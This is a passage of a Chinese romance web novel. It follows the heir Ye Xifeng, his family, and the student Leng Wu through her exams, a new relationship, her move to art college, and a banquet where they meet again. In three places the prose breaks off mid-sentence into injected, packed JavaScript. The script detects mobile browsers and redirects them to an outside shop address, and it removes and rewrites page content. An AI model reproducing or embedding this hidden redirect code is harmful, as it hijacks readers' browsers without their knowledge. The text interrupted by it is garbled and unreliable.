转了一个长廊,再过一个矫厅,才到达主厅。雨帘密密,开着的门扉里坐着两个女子,正轻声细语地闲聊。 “西风哥,你回来了。”颜净笑道。一旁的女子站起身,含蓄地叫了声“叶总”。 他礼节性点头,对着颜净问:“都用过饭了?” “这都几点了,早用过了。爷爷身子抱恙,我中午一下飞机,就立刻跑回来。现在是专门等你回家,打好招呼再走。”颜净坐着不起,忽然促狭挑眉,下颌一抬,意有所指:“西风哥,我说你怎么回来得如此晚。” 他手臂上仍搭着那件女式大衣。 “把这件衣服送去干洗。”他顺势递给一旁的人。 女子笑容盈盈,总算插上话:“叶总,我是颜小姐的朋友——金薇。上回与您在颜总的聚会打过照面。” 她面若银盘,气质古典,眉目含情。 叶西风声音客气:“你好,金小姐。”他很快移开眼,对颜净说:“雨天路滑,不如在山庄留宿。” 金薇见他不搭理,笑容僵了一下。 颜净摆手:“不留了,我还要去玩!” 叶、颜两家是世交,兄妹俩在山庄有单独的房间。为了礼节,颜净熬坐到现在。 “我让司机送你们回去。”叶西风不强留。 颜净说:“不必,我自己开车来的。” “那好,雨天开车小心。” “西风哥拜拜!” 颜净拉着金薇就走。 地库里,颜净将钥匙丢过去,坐在副驾驶上涂口红,漫不经心道:“你看到了吧?攀高枝没那么容易的。西风哥何等人,怕是早就不记得你。” 金薇接住钥匙,紧紧握住方向盘。 颜净蔑视:“金薇,我就喜欢看你失望、沮丧的样子。再说,你今天来山庄,连爷爷的面都没见到。” 金薇轻轻咬住唇,一踩油门飚了出去。颜净的跑车轰隆离开山庄,她不甘心地咽下这口气。 · 叶西风用过晚饭,便去紫玉堂陪老爷子说会话。 紫玉园之名,来源于庭中紫藤。若是在四月,花开时密如紫云,迎风低垂入湖,凌波携花袅袅。 还没到花开时节,雨中难免显得孤寂。 老爷子左腿中过弹,这几年身子不如以往,每到秋冬和雨季,腿就会隐隐做痛。因此,总是居家办公,鲜少到集团去。 “来了。”老爷子听见脚步,却头也不抬,仍负手立在书桌上练字。 叶西风笑道:“爷爷好耳力。” “小净回去了?”老爷子蘸墨,手腕处行云流水,在纸上挥斥方遒。 叶西风立在一旁研磨,“嗯。有人陪着她。” “小净是个不着调的性子,玩野了,心拉不回来。”老爷子说,“简家那丫头,和你年龄相当,又知根知底。如果心意相投,自然是最好不过。” 叶西风敛眉,见拇指染上一小块墨色。 “你进集团工作已有两年,将墨芯管理得不错。爷爷寻思着,简家和我们是世交,你们从小一块玩到大。在老公馆住的时候,颜家小子老还总惹她生气。” 叶西风说:“爷爷,我暂时不考虑结婚。” 语气温和,却很果断。 老爷子抬眼,“你和简黛,真没那个想法?” “真没有。”他淡声,“从小一起长大,要有早就有了。” 老爷子罢笔,纸上是潇洒二字——如是。 “这倒也是。”老爷子喟叹,“你向来心里藏事,还以为你对她有意,想着帮你调停调停。” 叶西风忽然一笑,有几分浅薄:“那改日请您为我调停一二。” 谁料老爷子擦着手,口吻略带告诫:“爷爷提点你一句,花花世界,诱惑太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500958|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。要立住本心,坚守好底线,才能真正不倒不灭。” 叶西风一想,兴许是颜净带来的人让老爷子误会,便说:“不是她。” 又补充一句:“您的训导,我都记住了。” 老爷子不疑有他,“那就好。” 叶西风说:“您要是晚上腿疼,千万别扛着,打个电话让医生过来。” 老爷子是硬将,当年没有麻醉药取子弹,都能硬生生熬过来。 “行了,你个初生牛犊,还管起你爷爷的事来了!回去早点休息。”老爷子笑着摇头。 · 雨还在下,缠缠绵绵,似不肯决断。 叶西风独自住在东院,回去后第一件事,就是洗干净沾有寒气的身子。 从口袋取出来的,除了手机,还有那张准考证和两百大钞。 他端详着,黑白准考证像素不高,女孩的睫毛看不真切。 倒是有趣。 还是个有点粗心的人,连衣服都忘记拿,也忘记准考证上会有身份证号码。 洗好澡走出浴室时,敲门声响起,也响起个苍老的女声。 打开门,是文妈。 文妈从小照顾他长大的老保姆,端来一碗姜汁糯米圆子,“阿看你晚上没吃几口,给你煮了宵夜,下雨天喝这个驱寒。” “打发她们送来就行,这下雨天,您还跑一趟。” “小年轻做事不稳重,我不放心。”文妈驼着背,往室内走去,“快趁热喝。” 叶西风刚坐下,文妈就递了勺子过去。白瓷碗里的圆子憨态可爱,胖乎乎地挤在一起。 文妈坐在一旁,絮絮叨叨:“谈对象了?怎么拿了件女孩子的衣服回来。” “都是乱说。” “他们没说,是我无意间看到的。”文妈笑起来,脸上皱纹更深,“你呀,从小到大都是一个人,怪可怜见的。要是碰到合适的,抓紧机会,好歹带给我瞧瞧。” “我现在还没那个想法。”他勺着圆子,“您别操心了。” 文妈掰着手指头,义正词严,“你今年二十五,那不就是三十?我六七十岁了,想着你还没着落,晚上睡觉都不踏实。” “这虚岁虚得也太多了。” “多多多,哪里多?”文妈支着扶手站立,脚步还算利索,如常地收拾屋子。 叶西风一笑摇头,喝了口姜汁汤,有一股红糖味。百分百出自文妈之手。 “哎呦!”文妈突然出声,“这小姑娘雪白干净,和你配得很嘛!” 原来老人家发现了准考证,正眯着眼端详,却还是看不清字,便问道:“叫什么名字?多大了?在哪里工作?” 叶西风放下勺子,走过去无奈一笑:“您别猜了。就一小姑娘,偶然遇见的。” 文妈回首打量他:“那件大衣是她的吧?你是我一手带大,我还不知道你在想什么。” “我是真没想法,文妈。”叶西风说,“人家年纪小。” “多大啊?小个两三岁倒还好。”她摸到老花镜,忙不迭戴上,“哎呦,才十八岁!了不得,还没高考吧?” 叶西风失笑:“努力考大学的年纪。” 文妈仔细端详照片,女孩水灵得很,“这小姑娘一看就聪明,肯定能考上。” 叶西风温声:“是啊。等人家考上大学,衣服是要还回去的。” 文妈将准考证放回桌上,整理一旁的书籍,多叨了两句:“不过话说回来,可以先交个朋友,处着处着万一缘分到了呢?” “文妈,越说越没谱了。” “不说了,我一把老骨头,说多讨你的嫌!” 他叹气,“我不是那个意思。好了,我自己来吧。”说着,将手搭在文妈肩上,“您就坐下来歇歇。” 文妈将桌子收拾好,弓着腰去端碗,“你这不让我做,那不让我做,整天在山庄闲得慌。” “让他们做就行,您就负责颐养天年。”叶西风说。 “我还成富贵闲人了。”临走前,文妈拍拍他的肩,“好了,早点休息。” 送老人家下楼,他回到房间后,拿了本书坐在床上看。 在雨声中,翻开纸页泛黄的书,英文字母下有许多批注。已经看了许多年,此刻又重头看起。 “我亲爱的女儿,你年轻又可爱, 但你毫无人生经验,虽然你认为 这世界在你脚下, 但它会崛起,将你踩倒在地。” 正看到这一段时,手机忽然一震。他伸出长臂去取,准考证还没干,湿湿黏着,被顺势带了过来。 将纸平铺在书上,打开手机,是助理的信息。叶西风轻微皱眉,起身拨通电话。 就这个瞬间,书本夹着准考证一合。封扉露出一抹红,幽暗地流淌着两个字:赎罪。 伊恩·麦克尤恩[著]。 10. 10母女 横幅上数字飞快流逝,高三终于接近尾声。 傍晚,考点外站满了翘首以盼的家长。校门一开,奔跑的学生蜂拥而至。冷梧走出考场,心情尤为平静。 “小梧,爸爸在这里!”冷鸣在人群中挥手,一-大簇向日葵随之摆动,黄澄澄像太阳一般。 “妈!爸。”冷梧不骄不躁走过去,接过爸爸递来的花,“真漂亮。” 刘棠一笑:“走吧,我们去购物。” 一家人直奔商场,苹果直营店里早已人满为患。刘棠说:“本来想先帮你买手机。但妈妈转念一想,还是你亲自挑最好。喜欢哪个颜色、哪个款式,就买哪个。不要为了他人迁就自己,自己中意才最重要的。” 于是冷梧挑了喜欢的。冷鸣秉承着来都来了,说:“再买个平板吧。对了,上大学得用电脑,一起都买了。庆祝我的宝贝女儿被梨花女大预录取。” 三月份时,预录取名单下来,冷梧名列其中。被正式录取是八-九不离十的事。 高考结束后的当晚,有同学聚会。大家要去唱K,全嵘特意打电话过来,确认冷梧会不会去。 “你要是去,我就让司机来接你。”他声音带着期待。 冷梧看了眼客厅里的妈爸:“不用,我搭地铁过去。” 彼时已是晚上,冷鸣止不住瞅着玄关,女儿正在换鞋子,刘棠大手一拍:“别看了,就让她去。好不容易高考完,是该放松放松。” 冷梧坐地铁来到聚会地点。全嵘竟一直在门口等着。见到她的瞬间,他眼睛灿然一亮。 她穿着鹅黄-色半身裙,化着淡妆,耳畔上的珍珠莹莹似泪。 全嵘兴高采烈地跑过去:“小梧,你总算来了!”他的目光忍不住在她身上停留,“你今天真好看。” 冷梧淡淡一笑。 推开门,包厢里的同学都默契起哄:“全嵘,我说你怎么出去了,原来是在等冷梧。” 当初年级间有个赌约,赌冷梧最终会被谁追到。 “我赌全嵘,近水楼台先得月懂不懂?” “拉倒吧,要是冷梧真的喜欢全嵘,同桌三年,怎么一点火花都没有?” 此刻大家想起赌约,赌全嵘的同学高声喊道:“输的人给钱,别忘了啊!” 全嵘不想让冷梧知道这些议论,“好了,别提了。” 他在沙发上寻到一个空座,带着她走过去。大家又再次起哄,“全嵘,你小子——” 冷梧平静望着周围热闹,一副事不关己的模样。全嵘跑上去唱歌,少年的眉眼在暧昧灯下,频频在她身上流转。 “冷梧,你打算去哪个学校?”身旁的张萍举着酒杯。 冷梧给自己倒了杯酒,欣赏着玻璃杯中迷离的酒液:“我还不知道,你呢?” 张萍耸了耸肩:“如果分数线够,那就去中大吧,毕竟家里喜欢。反正一路以来,都是他们安排好的。” 冷梧和张萍捧杯:“祝你心想事成。” 酒水入喉,她想到张萍的话,一切都是家里安排好的。 被安排的人生……冷梧靠在沙发上,望着唱歌的全嵘。 他和全母长得很像。全母高高在上,似乎能掌管一切。成为这样的女人真好,冷梧又喝下一口酒。 她摸了摸脸,肌肤一阵阵发热,决定出去透透气。出门看了手机,是九点二十分。 喧闹的聚会仿佛能吸走人的精神,她觉得独处更能恢复生命。 “小梧!” 全嵘追了出来。 迎着晚风,冷梧望见他向自己跑来。 “你要回家了吗?”他气喘吁吁。 冷梧慢慢踱步:“差不多吧,我打算先回去。” 全嵘不说话了,亦步亦趋地跟在她身后。二人像散步一样走在街上,待冷梧走到一片树影下,全嵘鼓起勇气出声:“小梧。” 冷梧在树下回首。 全嵘慢慢走近,他也喝了点酒,眼睛亮亮的。他背着手,抿唇数次,最终双手捧出一个盒子。 卡地亚深红色的盒子,像夏娃的那颗红苹果。 全嵘轻轻打开,在昏暗的树影下,钻石燦亮,火彩难掩。 少年的心思很简单,谈恋爱必须要送正式的东西。因为父亲会在节日送礼物给母亲。 冷梧侧目。 钻石小巧如露珠,等待着她的采撷。 全嵘已经成年,他比冷梧还大几个月。此刻他鼓足勇气,语气小心翼翼,像是生怕会拒绝:“小梧,可以和我在一起吗?” 钻石发出夏娃的声音,附在她耳边轻声说:吃下我。 冷梧眨眨眼,自己好像什么都没做,又好像什么都做了。 “好啊,全嵘。”她微微一笑,眉目温柔,“那我们就在一起吧。” 全嵘眼里迸发出惊喜的光芒,因为激动,手不由微微颤-抖。 冷梧见他慢慢走近,手掌轻轻抚上她的脸。 树影之下,少男轻轻低下头,望着女孩温润的唇,郑重又珍惜地吻上。 冷梧闭上眼,这个吻干净纯粹,如蜻蜓点水,在某一个瞬间,竟微微牵动她的心。 · 查分的日子如约而至。 冷梧考了五百四,超本科线九十多分。宁艺的工艺美术在省外只录取六十个人,她拿到小圈证,被录取是板上钉钉的事。 “念完海本,再念个一年制海硕,这样能节省上学时间。时间就是金钱。去澳洲就挺不错的,留下来也容易……” 梨花女大的offer在六月份上旬就拿到了,家里已经筹备好一切。 冷梧微微一笑,在长辈热切的讨论声中,她悄悄回到房间,拨通林苔的电话。 “嘟——请您在滴声后留言。” 机械美好的女声响了数遍,林苔竟始终未接。冷梧打开QQ,意外她的头像是灰色。 【小苔,祝你心想事成。】 想了想,她还是决定给送上祝福。 可数日后,林苔仍未回复。冷梧感到不对劲,便联系了全嵘。 在咖啡店里,全嵘压低声音:“小蘑菇家里出事了。” 冷梧诧异。 “她爸,原来国土局的……被查了,就最近的事。我也联系不上她。” 全嵘打开手机,翻开一条新闻,上面的中年男人赫然是林父。 “这里面水很深。”全嵘靠家里得知些内幕,“小蘑菇在躲我们,这个节骨眼上,我们也不要去打扰她。” 全嵘不再提,冷梧立刻懂了,心里一阵失落。 从云端跌落谷底的窘迫,林苔一定不想被他人所见到。 她有些恍惚,三人组约好了高考回去拆心愿,可阴差阳错,这件事竟然留在了时光中。 林苔不在,二人都没有再回羊城的必要。 那个和父母对抗的女孩,究竟有没有考上心仪的大学? 冷梧望着那灰色头像,最终还是发出一条信息:【小苔,衡约三人组一直都在。】 玻璃窗外车水马龙,可没有一辆车能载着他们与林苔重逢。 全嵘不出意外报了星海,他对冷梧说:“小梧,你一定会报羊美的吧?” 冷梧没有直言回答。 等录取通知书到的时候,她正在外面和全嵘逛街。 刘棠沉声:“冷梧,你给我回来说清楚!宁城艺术学院是什么情况?” 纸终究包不住火。当她回到家时,刘棠和冷鸣坐在沙发上,气氛略微严肃。 冷梧不慌不忙,叫了声妈和爸。 “小梧,这是怎么回事?”冷鸣疑惑,“不是说好去韩国的吗?” “翅膀硬了,主意大了!”刘棠瞥了眼丈夫,拉着女儿走进卧室,随后将门反锁。 冷梧站在一旁,擎等着母亲问话。 “你要是想学艺术,直接和家里说,妈妈会不支持你吗?”刘棠语重心长,“小梧,你做选择之前,应该和家里商量。风险均摊才更有保障。” 冷梧很沉静:“所以梨花女大是保底院校。这样就算没考上,我也还有大学念。” “你这孩子!”刘棠忍不住伸出手,轻轻一戳她的额头。 “你是想要一块叉烧呢?还是要一个聪明的孩子呢?”冷梧弯弯双眸,狡黠一笑,“你应该庆幸,我是个聪明人。同样,你也是最好的妈妈,从来没有干涉我的想法。妈妈,我们是平等的。” 刘棠捏捏女儿的鼻子,语气上扬,“真说不过你,我们家的小辩论能手。不过你有主见,妈妈很高兴。” 她并不希望女儿对世界一无所知。应该让孩子有独面世界的勇气,以及明白如何最大化落实自我利益。 刘棠从不认为母亲就代表着权威。一个人如果连权威都不敢质疑,谈何实现成功?问:“集训的费用,是自己掏钱出的?” “嗯。”冷梧下意识隐瞒,“银行卡里的钱。” 刘棠又问:“零花钱还够不够?” “不够。”冷梧理直气壮,“你给我转。” 她吃定母父绝不会因为这件事,生气地大发雷霆。毕竟她已经成功了,亲手交了一份最好的答卷。 想了一下,决定告诉妈妈:“我谈恋爱了。” “那个叫全嵘的小男生?”刘棠来了兴致,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500959|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们果然在一起了。” 冷梧挽起头发,露出耳朵上的钻石,“卡地亚,好看吗?” 刘棠说好看。 “他送的。能摸到的才叫喜欢。”冷梧摸-摸耳畔,钻石变得温热,“不然空口白说,算什么喜欢呢?” 刘棠一笑,尖锐的眼角往内一勾:“是啊,能摸的才是真的。就像妈妈给你买的衣服、首饰……都是因为爱你。爸爸也一样。如果全嵘不愿意付出,你们不如分手。” 并非是刘棠物质,一对卡地亚耳环,在她眼里算不上什么。 “你喜欢他吗?” 冷梧若有所思,“兴许有一点吧,我想试试谈恋爱是什么感觉。但最重要的是,我离不开钱,而全嵘很有钱。” 她倒在妈妈大-腿上,仍由长发垂落,公平客观地说:“我之所以淡淡的,是因为你和爸爸,一直给我提供良好的条件。” 刘棠抚摸女儿头发,乌黑顺滑,亮且润泽。 “反正全嵘……”冷梧翻了个身,将脸贴在妈妈腰间,“他舍得为我花钱,这就足够了。” 刘棠什么都没说。只是在第二天,将一块卡地亚蓝气球递过去,说恭喜宝贝女儿考上大学。冷鸣在一旁慈爱笑笑,催促女儿快点换上。 “谢谢妈妈爸爸。”冷梧倒不见惊讶,习以为常地打开,“我喜欢。” 她脱下原来的黑皮tank,换上这块新表,白盘不挑肤色,经典大方。 夫妻俩折身回卧室,刘棠说:“小男生能送卡地亚,我们也能买给她。这是在告诉她,别为了一对卡地亚耳环陷进去。” 冷鸣表示认同:“全嵘那孩子我们都认识。人长得不错,家境也好,还算配得上小梧。”他莫名感怀,声音晦涩,“一想到小梧谈恋爱,我心里就难受。” 刘棠笑道:“老冷,你就让她谈吧,谈了才知道自己适合什么。她虽然是我们的女儿,但是个独立的人。我不觉得小梧会吃亏,全嵘那孩子傻乎乎的。” “太清醒不是好事。”冷鸣陡然说了一句,惹得妻子皱眉,他便马上改口,“聪明当然是好事。可艺考这么重要的事,小梧却不和我们商量。难道我们会阻拦吗?” “人不是失败一次,就会次次失败。”刘棠坐在化妆镜前,“她想去试,那就让她去。再说,挣钱不就是给她兜底吗?我们又不是没有那个钱。你看,小梧抓住了机会,艺考一次成功。我刘棠的女儿,不会差到哪里去。” 冷鸣坐在床边,见妻子打开护肤品,精细地往脸上涂抹。她今年四十五岁,却仍保养得宜,五官明艳动人。 “你说得对。韩国不去就不去,小梧想过什么生活,我们竭力支持就行。”冷鸣选择妥协,“你别说,小梧像你……要强又厉害。嘿,我女儿真厉害,一考就考上了。” 语气已包含浓浓骄傲。 刘棠盖上海蓝之谜面霜的盖子,眼珠一转:“等她大学毕业后,最好换个专业出国读研。宁城也好,远离鹏城。” · 录取通知书下来的第三天,全嵘才得知冷梧被梨花女大和宁艺双双录取。 在临海的咖啡店,能看见对面的香港。海水蓝得奇异,如粼粼星河。 全嵘垂下头,显然在生闷气:“小梧……你要是出国读书,我们该怎么办?” 冷梧闲情逸致喝着咖啡,“我不打算出国呀,我要去宁艺。” “可我们不是说好去羊城吗?”全嵘愣了又愣,“我被星海录取了。” 冷梧转过头,笑着说恭喜。 刚在一起的小情侣,立刻遇到感情中第一个大困难。 “你去宁艺,我在星海,我们就变成异地恋了。”全嵘强撑着笑意,可下一秒却垮掉。 “我应该追求自己想要的,这不是很正常吗?”冷梧娓娓道来,“全嵘,你应该支持我,就像我支持你去星海一样。毕竟,我从来没有要求你,陪我一起去宁艺。难道不是吗?” 全嵘皱眉,这话虽在理,他却隐约感觉不对。可说不出个所以然。 “我不是那个意思。” “难道你在质疑我们的感情吗?我一直以为,你会永远站在我这边。” 全嵘着急,“我没有!”他坐到她身边,慢慢捏着她的小臂,“小梧,我当然支持你。我们好不容易才在一起,却要面临异地……” 冷梧扫了他一眼,从鼻腔闷出一声轻笑。 全嵘感到不安,心里打着鼓。 “你说过会一直保护我。难道我去了宁艺,这句话就不算数了吗?”冷梧蹙眉,将头一别,几缕黑发遮住半边脸。 “全嵘,你要让我失望吗?” 11. 11重逢 这一年,一部《上海女子图鉴》掀起了一丝波澜。其中有句话,广泛出现在社交平台上:“人生每一步重要的选择,都不能被别人拖后腿。哪怕,是你的恋人。” 冷梧如愿以偿奔赴宁城。她拒绝家里陪送,独自携带行李,第二次踏足这个城市。 九月的艳阳天,却令她无端想到二月份大雨。这场雨,似乎已经封尘在名为“高中”的回忆里。 林苔还是没有回音,无人知道她去哪里上学。 在鹏城机场里,全嵘红着眼睛抱住冷梧:“小梧,月底我就去找你。你说得对,应该追求自己想要的。” 现在宁城机场里,没有全嵘不舍的面容,只有一条通往未来的大道。 宁艺大一新生都住在校外的虹桥宿舍。六人间,没有上-床下桌。 冷梧是第四个到宿舍的。前三个女孩分别叫汪荭、谈星和孟琴协。 宿舍按班级划分,几个女生见到冷梧的瞬间,很意外地对视一眼。 有个成语怎么说,蓬荜生辉。冷梧像一颗明珠,散发着温润光芒。 “你好,我叫谈星!”谈星是第一个过来打招呼的。个子不高,留着短发,莫名让冷梧想到林苔。 “你好,我叫冷梧。梧桐的梧。” 她温柔疏离,与大家打过招呼后,便不再多言。 剩下两个室友很快抵达,一个叫苗月,一个叫李莎华。 等宿舍整理好后,已经是晚上七点。大家围在桌子前闲聊,苗月和汪荭是复读生,更有共同话题。六个人里,四个人是被调剂过来的。只有冷梧和谈星的第一志愿是工艺美术。 “我喜欢金工,就是奔着这个专业来的。”谈星笑道,“你呢,冷梧?” “我喜欢漆艺。”冷梧一笑。在场的人都不太了解这个专业,苗月更是哀叹,“你们为什么知道这么多?我想转去数媒,工美这个专业出来怕是不好找工作。” “听说开张吃半年,不开张啥都没有。”李莎华是东北人,说话怪豪放的,“好像资历越深越好,这样才值钱。” 冷梧将头发挽在耳后,刚准备开口。电话突然响起,她走去阳台接:“嗯——我到学校了,一切都挺好。星海还没开学,到时候是伯母送你去吗?” “我妈非要送,没办法。听说宁艺很小,你们住在校外,安全吗?” “还可以,你放心吧。” 小情侣有一搭没一搭地聊天,大多数是全嵘在说个不停。 “嗨!”突然有人拍了拍冷梧的肩头,是谈星。她捧着一杯冰可乐,“刚刚去楼下买的,给你!” 手机那头传来全嵘的笑声:“有同学是吗?那我先挂了。晚安,小梧。” 谈星暧昧地挤眼:“冷梧,你男朋友啊?” 冷梧没有否认,大方承认。 “是校内的还是校外的?” “高中的。”冷梧平静,接过可乐,“谢谢你。” 谈星不禁心想,高中升大学的异地情侣,可很难牢靠。尤其是冷梧这样的品貌,追她的人估计只会多不会少。 “不客气。晚上风大,我们回去吧。”谈星笑道。 二人回到宿舍,大家都在讨论不久后学院的开学典礼。 “我听内幕消息说,实业集团的叶总会出席。叶总的爷爷——叶董事长喜欢非遗文化,这几年捐了不少钱给咱们院,妥妥的财大气粗!” “冷梧,你长得好看,可以去报名做新生代表呀!”孟琴协是个戴眼镜的女孩。 冷梧摇头,对当新生代表没什么兴趣。 可两天后,班助竟来联系她。 班助是高一届的学长,同样是工美专业。他对冷梧说:“学院选中你做新生代表,这是个好机会,能在老师面前留下印象。” 班助陈徽将稿子递给她:“典礼在明天早上九点。你快熟悉一下,最好背下来。学妹,加油啦。” 机会砸到头顶,冷梧当然不会拒绝。 · 次日,开学典礼在小礼堂举办。她穿着白衬衣,化了淡妆,耳畔上的钻石点亮容颜。 她在看稿子,陈徽过来打招呼:“加油,你这么亮眼,老师见了都喜欢。” “谢谢学长。”冷梧一笑。 外面响起主持人的声音,领导、老师的名字接连出现。冷梧闻声抬头,从后台这个角度,恰好能见到坐在中间位置的男人。 他穿着剪裁得体的西装,额头光洁,眼睛不算大,却含蓄文雅,身上有淡淡的书卷气。 这不是那日红旗车上的男人? 冷梧望见他的名牌:叶西风。 秋来常为桂花忙,叶叶西风粟粟凉。男人温和,却暗藏疏离。 “……接下来由新生代表冷梧发言致辞。”主持人出声,她猛然回过神,深吸一口气,微笑着上台。 “这学生不错,很板正,又清爽。” “还是咱们设计学院的学生好看。” 几个老师的交谈声在叶西风耳畔响起。 他抬眼,台上女孩干净清爽,钻石耳环恰到好处的,给她添上了一丝光彩。 台上的冷梧目不斜视,认真发表致辞。最后,她望着灯光,心头忽然一转。 她想:林苔,你也会和我一样,出现在大学的校园吗? 典礼结束后是中午。有个粉裙子老师叫住她:“同学,一起去吃午饭吧。你是新生代表,要去露个脸。” 冷梧本来和谈星约好去食堂,不由抱歉道:“真不好意思,下次再陪你去。” 谈星善解人意:“没事,你快去吧!我和苗月去就行。” 冷梧坐上粉裙子老师的车,车上还有个蓝西装女老师。 老师们笑谈间,旁敲侧击打听起她的家世。 冷梧不想暴露隐私,便随口搪塞过去。通过短暂闲聊,她已经知道粉老师叫白绣,蓝老师叫严停岚。 车在一扇古典大门前停下。侍应生前来泊车,白老师示意冷梧跟上。有人出来引路,里面别有洞天,一步一景。日光照在凌霄花上,花影在白墙上浮动,月门上挂着一块匾“绛雪垂云”。 那凌霄花如瀑布垂落云端,倒让冷梧想到一句诗:凌霄多半绕棕榈。 过了月门,便是一处中式院子。侍应生推开门,白绣扬笑道:“还请诸位领导见谅,路上有些堵车,这才来迟了。比不上您几位亨通。” 这句话说得漂亮。冷梧跟随在她身后入内,向内室微微点头鞠躬。抬头时,与主宾位上的男人意外对视。 叶西风。 他坐在老院长身边,姿态端正,眼角带着淡笑,像是习惯性的面部表情。 冷梧很有眼力见地坐在上菜口的位置。 “小白、小严,你们可来迟了呦。”席上的三陪,一个戴眼镜的男老师打趣。 白绣八面玲珑:“我酒量浅,但诚意深,自罚三杯,感谢大家理解。”严停岚亦跟上,正当两人准备饮酒时,三陪姜皓微抬下巴:“你学生呢?小姑娘是新生吧。” “皓哥,你跟人家小姑娘开什么玩笑。为人师表的,别吓着人家!”白绣不动神色地往前一倾,将冷梧挡在身后。 冷梧微愣。白老师的长卷发在她眼前轻晃,暗香扑鼻而来。 “无妨。”叶西风开口,温润有力,“路上辛苦,相聚不易。请入席吧。” 他虽是客,但众人却选择顺从。白绣笑道:“谢谢叶总体谅。您不让罚,是您大度,但我们迟到是事实,心里过意不去。这样,以茶代酒,表个心意。” 领导是免了,但怎好不表态?白绣和严停岚改倒茶水,冷梧上道地起身,却并不开口,只是面带微笑。三人敬了茶,这才重新坐下。 这场酒席,冷梧留意着缺菜、少酒水的情况,默默却及时地通知侍应生。 老院长语气温和关切:“叶总,许久未见,叶老近来身子可还硬朗?” “李老费心了,家祖父一切都好。他还时常提起,说学院的艺术氛围好,能滋养人心境。我一定将您的问候带到,他听了定是高兴。”叶西风颔首。 “那可太好了,请务必代我向老人家问安。另外,借此机会,我代表全院师生,郑重感谢叶家对学院新美术馆的慷慨投资。这不仅是资金的支持,更是对艺术未来的一份深厚期许,我们感念于心。”老院长举杯。 叶西风姿态谦和:“您言重了。能为您和学院的宏伟蓝图尽一份绵薄之力,是叶家的荣幸。” 席上把酒言欢。 宁城菜偏咸甜口,冷梧有点吃不惯,便随意吃了点。一个中年女老师将视线投过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500960|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是冷梧吧?小姑娘比照片上俊呢。这次发言蛮大方的。比去年那个男生好,还是小姑娘厉害些。” “老师您谬赞了。”冷梧挂着礼貌的笑容。 “是工美专业的吧?大二分流,你打算选哪个方向。工美好像有漆艺、玻璃还有金工……来着的?”另一个男老师说。 冷梧端坐,“我想选漆艺。我就是为了漆艺报的宁艺。” “乐教授,这多有缘,来日是您的亲学生呀!”白绣笑道,“这位是乐清教授,我们院现代漆艺术的领头人。” 原来中年女老师就是乐教授。她说:“现在学漆的学生可不多,难得见奔着来的。投缘呀,小姑娘我看着就喜欢。” 冷梧上道地问好。 无意间,与叶西风视线交汇。 他的目光并不具备攻击性,温润如玉,望向她时,像是在欣赏。 冷梧微微颔首,很快错开视线。 宴席进入尾声后,她借口去了趟洗手间。 “那个学生什么来头?能让实业亲自点名,做新生代表。” “真的假的?”白绣吃惊,“席上怎么没人提?” “实业的人不提,摸不准的事,谁嫌得没慌去说这个。” “冷梧……她是富二代吧?”白绣留意到卡地亚耳环和手表,“应该不是靠男人。” “嗐,你别小看现在的女生。往往外表清纯,其实最会扮成猎物。”严停岚涂上口红,“难得见一次叶总,你还不抓紧拿下。他年少有为,好像才二十五六吧?不到两年就成了墨芯科技的一把手。” 白绣整理卷发,“尽力吧。快帮我看下,这个角度能不能露出我的耳环?” 冷梧在隔间听着讨论,八卦本就是人之常情。君子论迹不论心,白绣还为她挡了酒。 等离开的脚步响起,她才从隔间出来。 洗着手,水流滑过指缝,凉丝丝催醒心神。莫名地,让她回过味来。 洗手间在院子角落,冷梧慢悠悠转回长廊,却见叶西风站在廊下。 “叶先生。” 他在望着鸟笼里的蓝和尚,目光闻言而转:“我记得你。” “上次多谢您。”冷梧与他保持着距离,温温一笑,“大衣已经洗干净了。如果方便的话,我让母亲将它寄过来,再送回到您公司,您看可以吗?” 叶西风微笑,抽出一张名片:“如果要来,可以打这个号码。” 男人的指甲修剪整洁,名片简约大方,“叶西风”三个字刚正有力。 冷梧双手接下,很有礼貌:“谢谢。” 他声音平和:“好好上学。” · 等回到宿舍后,冷梧躺在床上,凝视着两张不一样的名片。 一张是她二月份意外捡到的,一张是他主动给的。上面的号码不一致,主动给的那张,明显是私人号码。 冷梧将两张名片塞在枕头下,什么都不管地蒙被睡觉。 可惜半个多月过去,那件大衣还没送回去。先是十五天军训,紧接着是正式开课。大一课表被安排得满满当当,基础课是素描和油画,还有心理教育等文化课。新生讲座是开了一场又一场,就只剩下周末有空,可墨芯科技周末不上班。 这一来二去,耽搁了一天又一天。 苗月是宿舍最快谈上恋爱的,男朋友是传媒学院的同届生。冷梧见过一次,因为公开恋情那天,她男朋友请全宿舍聚餐。 如今宿舍里,冷梧与谈星的关系较好,两人是上下铺。虽不算非常熟络,但比其他人更谈得来。 